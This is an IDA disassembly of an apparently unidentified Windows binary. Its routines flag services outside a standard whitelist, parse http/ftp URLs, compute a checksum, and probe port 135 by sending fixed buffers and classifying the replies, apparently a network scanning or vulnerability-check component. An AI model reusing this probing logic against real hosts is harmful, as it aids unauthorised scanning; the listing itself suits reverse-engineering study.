var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 28E09A5h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44433C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28C0000h
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 28F0371h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2860AE2h
		push	eax
		nop
		call	near ptr 2860000h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB64, eax
		mov	eax, offset dword_50BB64
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444410 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444410 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444410 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DD8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E4C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E24
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E38
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
